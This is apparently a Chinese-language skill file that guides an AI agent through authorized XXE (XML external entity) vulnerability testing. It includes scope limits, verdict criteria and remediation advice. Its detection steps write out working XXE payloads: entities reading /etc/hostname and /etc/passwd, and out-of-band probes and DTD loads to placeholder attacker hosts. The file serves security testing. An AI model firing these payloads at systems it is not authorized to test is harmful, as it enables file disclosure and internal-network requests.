name: xxe-testing description: 检测 XXE(XML 外部实体注入)风险;当目标存在 XML 文件上传、SOAP 接口、SVG 处理等 XML 解析功能时触发。 tags: injection,xxe,xml,entity when-to-use: 当目标存在 XML 文件上传、SOAP 接口、SVG 处理等 XML 解析功能时 allowed-tools: bash,read_file,list_files,rg user-invocable: false
XXE 检测(XML 外部实体注入)
目标
确认目标的 XML 解析器是否处理外部实体声明,导致文件读取、SSRF 或拒绝服务。
适用场景
- XML 文件上传(配置导入、数据导入)
- SOAP Web Service 接口
- SVG 文件上传/处理
- RSS/Atom feed 解析
- Office 文档上传(.docx/.xlsx 本质是 ZIP 包含 XML)
前置条件与安全边界
- 仅在授权环境测试。
- 单接口最多 10 次请求。
- 文件读取测试使用无害文件(
/etc/hostname、/etc/passwd),不读取敏感凭据。 - 不使用 Billion Laughs(实体递归膨胀)等 DoS payload。
检测步骤
Step 1:XML 解析确认
确认目标是否接受并解析 XML:
- 发送合法 XML 请求,确认正常处理。
- 发送畸形 XML(缺少闭合标签),观察是否返回 XML 解析错误。
Step 2:外部实体探测
有回显场景:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<root>&xxe;</root>
观察响应中是否包含文件内容。
无回显(盲注)场景:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "http://attacker-server/xxe-probe">
]>
<root>&xxe;</root>
在自有服务器确认是否收到请求。
Step 3:高级利用探测(仅确认可行性)
- 参数实体:
<!ENTITY % xxe SYSTEM "http://attacker/evil.dtd"> %xxe; - SSRF 利用:将 SYSTEM URL 指向内网地址
- 协议探测:
php://filter/convert.base64-encode/resource=/etc/passwd(PHP 场景)
闭环验证要求(必须遵守)
通用闭环口径见同根目录 common/closure-verification.md(技能表 path 列同一抽取根下,需要时 read_file 读取)。核心:完整证据链才判 confirmed,中间信号最多 suspected。本漏洞特有要点:
- 仅凭"XML 解析错误"不得判定 XXE,必须确认外部实体被处理(文件内容泄露或外带请求到达)。
判定标准
| 现象 | 判定 |
|---|---|
| 响应中包含本地文件内容,或外带请求到达攻击者服务器 | confirmed |
| XML 解析错误提示中泄露实体处理信息,但未读取到文件内容 | suspected |
| 外部实体被禁用或 XML 被预处理清理 | not vulnerable |
修复建议
- 禁用 XML 外部实体和 DTD 处理。
- 使用安全的 XML 解析器配置(如 Java 中
setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true))。 - 对上传的 XML/SVG 文件做预处理,移除 DOCTYPE 声明。
- 如非必需,考虑使用 JSON 替代 XML。